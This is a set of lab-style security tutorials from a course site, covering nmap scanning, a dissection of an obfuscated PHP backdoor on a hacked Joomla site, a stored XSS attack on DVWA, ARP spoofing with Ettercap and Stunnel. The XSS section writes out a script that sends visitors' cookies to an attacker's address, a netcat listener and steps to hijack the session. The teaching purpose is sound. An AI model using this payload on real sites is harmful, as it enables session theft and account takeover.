Network Scanning with Nmap

Overview

Nmap is a powerful network scanning tool which allows you to discover available hosts and resources. Nmap can be very useful for discovering what open doors exist on your network, including services, ports, operating systems, and other fingerprinting information. You should be aware that scanning a network with nmap, without prior permission, can be considered a form of network attack at worst, or network trespassing at best.

You can download nmap for Linux, Windows or MAC at: http://nmap.org/download.html . Though typically a Linux command line tool, you can install nmap for Windows and run it from the command line, or from a graphical user interface, by installing the Zenmap graphical front end. You can install Zenmap by running the Windows self installer and accepting the installation defaults.

NMAP for Windows

If you are running a Windows desktop operating system and you are new to nmap, I recommend using nmap by running the Zenmap graphical interface. When running nmap from the command line the user has a large array of scanning options and parameters. Zenmap simplifies the use of nmap by limiting the options to a predefined set of pull down options.

 

The image below is taken from the http://nmap.org website, download page

 

Using NMAP and Zenmap

Using nmap with Zenmap is pretty simple. After launching the program, you need to input the target IP address, the IP address range, or the domain name that you want to scan, next you choose the scanning profile, and then run the scan. The different scanning profiles use predefined choices, providing different scanning options and creating differing results. The power of nmap comes from all of the scanning parameters and options that are available. Running nmap from the command line gives you complete access to all of the command options and parameters.

In the scan below, I input the target IP addresses 172.16.11.100-105 which will scan hosts 100 to 105. For the scanning profile, I chose the Intense scan, no ping pull down option. You can see the complete scan, as if it were given from the command line by looking at the command input box.

    nmap -T4 -A -v -Pn 172.16.11.100-105

nmap is the command which launches the program,
The -T4 argument signifies faster execution,
The -A argument enables OS and version detection, script scanning, and traceroute,
The -v argument enables output verbosity
The -Pn argument bypasses the host discovery and for the pupose of the scan treats all hosts as if they were online.

Nmap Scan Types

Looking at nmap from the command line options or parameters There are four major nmap scan types:

  • TCP connect scan (-sT) – this scan performs a tcp three way handshake with the target computer. You can specify which particular ports you want to scan by also using the -p and supplying the range of numbers you want to scan, like -p1-1023 which would scan ports one to one thousand twenty four. This is a reliable scan to identify open ports on a target host, however it is also easily recognizable by intrusion preventions systems, if you are trying to scan anonymously.
  • SYN scan (-sS) – this scan is also called a stealth scan, in that it starts a three way handshake but does not complete. Though harder to detect, it is detectable by current day firewalls.
  • UDP scan (-sU) – this scan will test to see if there are open udp ports on a target computer. Since udp is a connectionless protocol, this scan will simply tell us whether a port is blocked by returning an icmp unreachable message or if it is open by receiving no message. You could receive a false positive because no response could indicate that the ICMP request or reply was blocked by a network firewall and not the target host.
  • ACK scan (-sA) – this scan will simply test to see if a port is block (filtered) or not. The scan sends out ack packets and waits to see if there is either no response (blocked) or if there is a reset packet (RST) response which would signify an open port.

 

 Scan a range of IP addresses

Examining the scan results of a single network host, from the host details tab

The scan results has identified an open port at 3389, and a probable operating system type

How to Dissect a Website Attack -page 3

(Cont.)

I found that a malicious .php file was uploaded to my website, containing what appears to be an exploit. If we examine the long string of text you can see that the beginning of the string is in hexadecimal format. Hexadecimal characters can represent ASCII text characters so this is probably a way of obfuscating a suspicious command. To discover the hidden command you can manually compare the hex characters against an ASCII character chart or copy and paste the hex characters into a quick script too see if a scripting language will interpret the hex codes for you. In the images below, I first copy the leading hex characters from the malicious line of code and then paste them after a print command in the Python command interpreter. After hitting the enter key you can see that Python interprets the hex codes as text.

 

The Base16 Hex code at the beginning of the file is obfuscating a hidden text command

A print command in Python is used to reveal the obfuscated string of Hex codes

You can see from the output above that the leading string of hex characters is actually the front half of a eval function which calls nested commands: first decode some base64 code, then extract it because it is probably gzipped compressed file, then execute it by running it in an eval() function. This obfuscated hex code is attempting to execute something in the Base64 code. Now if we write a Python script that will print the leading Hex code, decode and print the Base64 code, and then print the ending Hex code we can see the program behind this long string of encoded characters.

In the malicious PHP file the long string of characters in the ‘preg_replace’ function has Hex
at the beginning and at the end (not pictured) and a long string of Base64 encoding in the middle

Here is an image of the Python script, quickly put together by Steve in the class, that will decode the Base64, and extract the compressed file, and then run the evaluate() function which will execute the malicious string in the .php file:

The beginning and ending of the Python script which decodes
the “preg_replace” string of Hex and Base64 codes from the malicious .php file

We can run this script in the Python command line in order to print to screen the malicious hidden script. You can see on line 1 below that I call the script with the python command followed by the python script file and then piped to more to see the output one screen at a time. You can see that Python has successfully decoded the Hex and the Base64 and returned the hidden program that was on the .php file. Notice the hex code has been translated on line 2 and you can see the eval() function:

Python decode scripts

One of the more interesting parts of this malicious program is near the bottom of the script you can see there is an additional Base64 encoded exploit that the script is going to decode. From the text in the script (see highlighted) we can gather that the embedded exploit is a backdoor to the webhost written in Perl. Notice the text “Bind port to /bin/sh” which is the Bash Shell on the Linux webserver. Notice that the backdoor is a “bind port” to port “31337”. Many people already will know that the port number 31337 was not chosen randomly, it is a substitution cypher or leetspeak for the word”elite.” This lets us know that the programmer considers himself or herself as an elite hacker (see image below).

If you decode the highlighted base64 encoded characters in the image above, you can see that it is indeed a Perl script and that it is creating a bind shell to a provided socket address (ip address and port number), probably to another computer that the hacker controls. The first image below is the Python script that decodes the Perl script. The second image is the Python script run in the Windows command prompt.

 

*Note: Many thanks to Steven B who helped me with this class and project

<< How to Dissect a Website Attack -Page 2

Learn Website Vulnerability Testing with Mutillidae

Mutillidae Overview

There are many open source projects on the web aimed at teaching website security and the common vulnerabilities that hackers utilize. OWASP is a group that has organized over one hundred web security projects. OWASP stands for the Open Web Applications Security Project. The group is a non-profit organization committed to free, open source, web projects. OWASP has helped advance many great learning projects and tools for learning about website vulnerabilities and web attacks. One useful project is the OWASP Top Ten which is a research project and website that identifies the top ten web application security risks. The OWASP Top Ten was released for 2010 and 2007. Two more great web security learning tools that were OWASP projects are Mutillidae and ZAP.

Mutillidae

Mutillidae is an open source vulnerable web application (i.e. vulnerable web site) that you can download and install in a testing environment. You will need to set up an AMP environment (Apache, MySQL, PHP) on your server in order to run Mutillidae and it can be run on either the Linux, Windows, or OSX platforms. You can find out more information about Mutillidae at their website: http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10

ZAP (Zed Attack Proxy)

Zap is an attack proxy that works as both a sniffer and a mangler in that it captures packets passing between your computer and the website you are attacking or scanning. ZAP allows you to run scans, scripts, and attacks against a targeted domain or website. ZAP is a testing tool useful for penetration testing and testing your website’s security and vulnerability level. Do not run this tool against a live domain or website without prior permission, it will be seen as a live attack.  

Tips:
•  In Mutillidae: Toggle hints to “Noob” to get great learning information and hints
•  In Firefox disable the “no script” setting
•  In BackTrack ZAP is already installed
•  For ZAP to work correctly you need to configure it as your web proxy in Firefox
•  FoxyProxy is a proxy switcher which is installed as a Firefox plugin. It helps control which domains you want to have proxied and which you don’t.
•  packetstormsecurity.org is a great website for security information and resources

How to Dissect a Website Attack -page 2

(Cont.)

Having discovered that my website had an infected .htaccess file, I replaced it with a clean .htaccess file and felt I was safe to focus on updating my version of Joomla as well as all addon web applications. Unfortunately, I soon discovered that the infected .htaccess file was all of sudden back, and not only that, all of my websites on my web hosting account also had infected .htaccess files. Ouch!

Quickly, I was brought back to reality. My belief that I had removed the website infection was just wishful thinking. It was now time to ask ‘the oracle’ for help, so I decided to do some Google searches using a few of the key words found in the infected file, like “.htaccessfile infected with mod_rewrite.c,” and “.htaccessfile infected with phonesthouguploader.” The Google searches revealed a couple of entries on the Joomla forum, that were posted by people experiencing the same problem. I also discovered a helpful Joomla wiki page with a security checklist in the event of a hacked Joomla website. Once again a technology forum came to the rescue. In this situation, the forum posts gave me the idea to look for specific files and file types, and the directories the malicious files might be hiding in. The forum suggested that I needed to look for a hidden “.php” file (in Linux hidden files start with a ‘.’) in my webhost’s root ‘tmp’ folder or the Joomla website’s ‘images’ folder.

The Malicious PHP File

In the websites joomla ‘images’ directory, two interesting files were found. The files were a text file and a hidden php file:

  • images/stories/error_log
  • images/banners/.cache_m66q99.php

The error_log text file was noticed by a student (Eddie), and the .cache_m66q99.php file, which I believe is the culprit, was found by me. The error_log file points to the php file as you can see below, as well as alerting to the possibility of another malicious file story.php, a known malicious script which was not found.

 The images/stories/error_log text file

Here are screenshots showing portions of the malicious .cache_m66q99.php file. Beside the name of the file looking very suspicious the top of the file seemed normal enough (see below). However, most php files in a Joomla website have the following two lines of code near the top of the file, just below the comments:

// no direct access
defined( ‘_JEXEC’ ) or die( ‘Restricted access’ );

The two lines above ensure that the file cannot be executed directly. These lines will probably be missing from a malicious script uploaded to your webhost . Notice the “defined( ‘_JEXEC’ ) or die( ‘Restricted access’ ); line is missing from the top portion of the file below (see lines 14 and 15).

The top of portion of the .cache_m66q99.php file with a missing line between lines 14 and 15

A few lines down on line  I found a preg_replace() function call which can though a normal function can sometimes be used for malicious purposes (see image below). On a side note, searching online, I found a script that you can download, configure a few settings, and then upload and run on your webserver. The script will examine the contents of all files in a directory of your choice, and output a report alerting you to which files have possible malicious code (http://25yearsofprogramming.com/php/findmaliciouscode.htm).

Suspicious preg_replace function

When I scrolled to the bottom of the PHP file I noticed one long line of code that clearly was not normal, looking instead like an embedded exploit (see image below).

At the bottom of the file there is a long line of obfuscated code, in a preg_replace function, indicative of an embedded exploit

Here is the bottom portion of the exploit

Now that we know there is an exploit in the file we can learn more about what it is doing.

<< Page 2- How to Dissect a Website Attack                      How to Dissect a Website Attack -Page 3 >>

How to Dissect a Website Attack

Overview

Sometimes the only way to really learn about network security is by being the victim of a network attack. A while back, I got an email informing me that my website had been hacked and that visitors to my website were being blocked by safe search security toolbars like AVG’s and that Google itself was blocking internet searches to my website and redirecting users to a malicious activity warning page.

My first reaction was denial, “my site?, no way.” Then the second and third email arrived. So I decided to check it out, and do a Google search for my own website, … sure enough, I too was met with the warning page above. Now it’s time to figure out what is wrong with my website and fix it. So where does one start?

Find more information on your hacked website

The first thing to do is to get more information on what the problem actually is. In the image above, you can see that there was a referral link to a Safe Browsing Diagnostic Page with more information on the problem. In the image below, you can see a recent Safe Browsing Diagnostic Page for www.danscourses.com showing the site to be in good standing. Notice the ‘Next steps:’ section at the bottom of the image, which refers the owner of the website to Google’s Webmaster Tools; whether a website is infected or not infected, Google’s webmaster tools is a useful tool for all website designers and managers offering valuable information and usage statistics about your website.

At the time my website was hacked, I already had a Webmaster tools account for my site, so all I had to do was go to the Webmaster tools login page to find more information about the problems my website was experiencing. In Webmaster Tools, under the health category, there is a malware section which can give you valuable information about which web pages on your website are infected, as well as informational tips on what to look out for. In my case, Webmaster Tools informed me that visiting my website’s homepage was where the malware was detected, but more specifically, that I needed to look at the .htaccess file for the infection. Having some more information about the website infection, the next step is to login into your webhost (webserver) to find, fix, and remove the infection.

Finding the infection

There are three basic steps to fixing your hacked website:

  1. Locate the infection,
  2. Quarantine and remove the infection,
  3. Inoculate or patch your website/webserver so the same problem does not happen again,
  4. Check to make sure the problem has still not returned.

Since Webmaster Tools suggested I check my .htaccess file I decided to look at that file first. Upon opening the .htaccess file I noticed that the file had indeed been altered. How would someone know this, if they have never looked at their .htaccess file before? Since my website was built with Joomla, and all Joomla sites have either a htaccess.txt or .htaccess file in the website root directory, it is easy to download a clean version of Joomla and compare the downloaded .htaccess file to the one uploaded to the webserver. Below is an image of the the top portion of the infected .htaccess. file.

The top of the infected .htaccess file

The top of a healthy .htaccess file

Since the .htaccess file was infected, I decided to replace the infected file with a clean .htaccess file. This would take care of step 1: locating the infection, and step 2: removing the infection, and now I could move on to step 3, updating and patching my website and webserver; or so I thought. If only it were that simple…

How to Dissect a Webpage Attack -Page 2 >>

 

XSS with a Vulnerable WebApp

Overview

Everybody browses the web. So it is no wonder that websites and web browsers present a large attack vector for hackers. Since 2002, the typical website has changed from a collection of linked pages of static text and images to dynamic, active, script-based applications that store and retrieve data from database servers. During this period, hackers have created innovative ways to inject their own code and scripts into poorly designed web pages and web applications. This code is then executed in the web browser of an unsuspecting visitor as well as on the web server that hosts the website. Injecting code into a website’s web application and having it target a visitors web browser is called a cross site scripting, XSS attack. Until just recently, cross site scripting attacks have represented a huge portion of all computer based attacks. To combat XSS attacks, web browsers have been patched and released with stricter security measures designed to stop unwanted code execution and web applications have been programmed in ways that sanitize the user’s input. Click here to learn more about cross site scripting and related attacks: http://en.wikipedia.org/wiki/Cross-site_scripting.

Materials

For this project, I used the following components:

  • Attacking computer – a VMware virtual machine with the Backtrack operating system installed
  • Webserver computer – a VMware virtual machine with Windows XP-Pro SP2 installed with no updates
  • XAMPP – downloaded then installed on the XP-Pro computer
  • DVWA – downloaded then extracted on the XP-Pro computer, the dvwa folder needs to be copied to the c:\xampp\htdocs folder
  • Tamper Data – downloaded and installed on the attackers Firefox web browser as an add-on

**Important Notes:

  • I had to edit the .htaccess file in the dvwa folder to allow access to the dvwa webapp from other computers beyond just the localhost at 127.0.0.1 (see video part1)
  • I had to edit the dvwa\vulnerabilities\xss_s\index.php file to allow more than 50 characters in the textarea message box so we could fit the entire malicious script (see video part2)

Steps

1.  Insert the script

Insert the XSS attack into a vulnerable webapp. In this case, in the website guestbook which does not sanitize the user input. Once the malicious script is inserted into the guestbook it can effect all visitors to that web page.

<script>new Image().src=”http://<attacker’s ip address>/b.php?”+ document.cookie;</script>

2.  Set up a listener

On the attacker’s computer, setup a Netcat listener to receive the webpage visitor’s session ID cookie. Once the listener is activated it waits for someone to visit the webpage that has the inserted malicious script in the guestbook.

#netcat -lvp 80

3.  Wait for a victim to visit the webpage

A website visitor logs into the website and then unsuspectingly views the guestbook webpage. When you login to the DVWA website make sure to set your security level to “low” before you visit the guestbook web page.

4. Steal the cookie session ID

When a someone visits the guestbook webpage, the Netcat listener will establish a connection, and the resulting output will show the visitor’s session ID number. Highlight the session ID number, right+click on it, and select “copy” to copy it to memory.

Example: “PHPSESSID=lhhnpsggqivlft2blosl8jo916”

5: The attacker is able to authenticate to the website with the stolen cookie

Now from the attacking computer (Backtrack) visit the target website. Before the attacker attempts to login to the website run the Tamper Data Firefox add-on.

In Firefox: Tool > Tamper Data.

Then when the program opens, click:

Start > Tamper.

Edit the Cookie Session ID replacing your SESSIONID with the stolen one, then click run. Once you are redirected to the login page, change the URL in the address bar to go directly to the homepage at http://<ip address>/dvwa/. Once again with Tamper Data still running select “Tamper” and then replace your cookie session ID with stolen cookie session ID stored in memory (ctrl+v) and click run. You should now see that you are logged into the target website as “Admin” with the user’s stolen token session ID.

Video Tutorial

 

ARP Spoofing Man-in-the-middle Attack

Overview

A man-in-the-middle attack is an interior network attack, where an attacker places a computer or networking device between hosts, so that their data exchanges are unknowingly redirected to the man-in-the-middle. The goal is to capture and relay traffic, so the victim is unaware that all traffic to and from his computer is being compromised.

One way to accomplish a Man-in-the-middle attack is to use ARP spoofing. With ARP spoofing the attacker targets the layer two MAC address protocol. On a local area network, a host communicates with another host, including the gateway, by delivering packets to a MAC address. In order to do this, first the ARP protocol needs to resolve the MAC address from the IP address of a host. There is no verification or authentication procedure for the ARP protocol. When a computer needs to send information to another host on the network the computer generates an ARP broadcast. The ARP broadcast sent to every computer on the network requesting that a specific IP address respond with the corresponding MAC address. When a computer responds with a MAC address, data can be delivered to that MAC address, the problem is that the response is accepted without verification. ARP spoofing involves sending fraudulent information to the targeted hosts so they incorrectly map the attacker’s MAC address as belonging to the IP address.

 

Practice Lab

In the following lab, I set up a test virtual environment to execute an ARP spoofing attack. This is what you will need to do the lab:

Virtualization software: I recommend either VMware (free player) or Virtualbox. You will want to set your virtual network interface cards to bridged mode so that they receive unique IP addresses on the network and can communicate with each other as well as the host computer. If you have networked computers that you do not mind experimenting with, you can skip the virtualization part and use actual physical hosts.

Virtual host 1 (victim): In the video demonstration, I use an Ubuntu client as the victim. I chose this because I happened to already have it set up. You could easily use another operating system like Windows XP, etc. The most important point is that the hosts need to be connected to the same network.

Virtual Host 2 (attacker, man-in-the-middle): For the attacker, I downloaded the pre-installed VMware virtual machine for Backtrack 5-R1 32bit. Download the VM, unzip it, and then open it with the VMware player. If you have never used Backtrack before the default username is: root and the default password is: toor. Once you have logged in, you can start the graphical user desktop by entering the startx command; your networking connection should start automatically, but if it does not, I have initial configuration information here: Install & Configure BackTrack. For this lab, you can just as easily use a different distribution of Linux like Ubuntu, Mint or Fedora.

Router/Gateway: In my demonstration, the clients are on the same network connected by a wireless router/gateway providing connectivity to the internet.

Packet Sniffer: In the demonstration, host scanning, packet sniffing, and ARP spoofing is done with the program Ettercap or Ettercap GTK, installed on the attacking computer. Here are the commands for installing and running Ettercap in graphical mode:

     apt-get update
apt-get install ettercap ettercap-gtk
ettercap -G

Video Tutorial

In this video, I use ARP spoofing to impersonate hosts, and sniff traffic undetected on the network

SSL Tunneling with Stunnel

Overview

If you want to send a protected message across a computer network, to be sure that in the event your message is intercepted by an unwanted recipient that it cannot be read or tampered with, then you need to add network encryption. SSL (Secure Sockets Layer) and its successor TLS (Transport Layer Security) are protocols that function at the Application Layer of the TCP/IP Model, above the Transport Layer and provides security certificates, public and private key exchange (asymmetric cryptography), and encryption.

Stunnel

Stunnel is a program that can wrap unencrypted traffic in SSL/TLS encryption and forward it to a specified service or port. Stunnel can be configured to accept packets on an incoming port, encrypt that traffic with SSL or TLS encryption, and then forward the encrypted packets to another specified destination IP address and port. Stunnel uses OpenSSL to encrypt network traffic.

Lab Demo

In this demo, I will use Stunnel to send a secure communication between two clients, both running Stunnel. Client A will run Stunnel in client mode and Client B will be running Stunnel in server mode (see below).

 

 

Video Tutorials

In the video tutorials below, I demonstrate step-by-step, the entire process of getting Stunnel to work between a Backtrack Linux client and a Windows XP Pro client.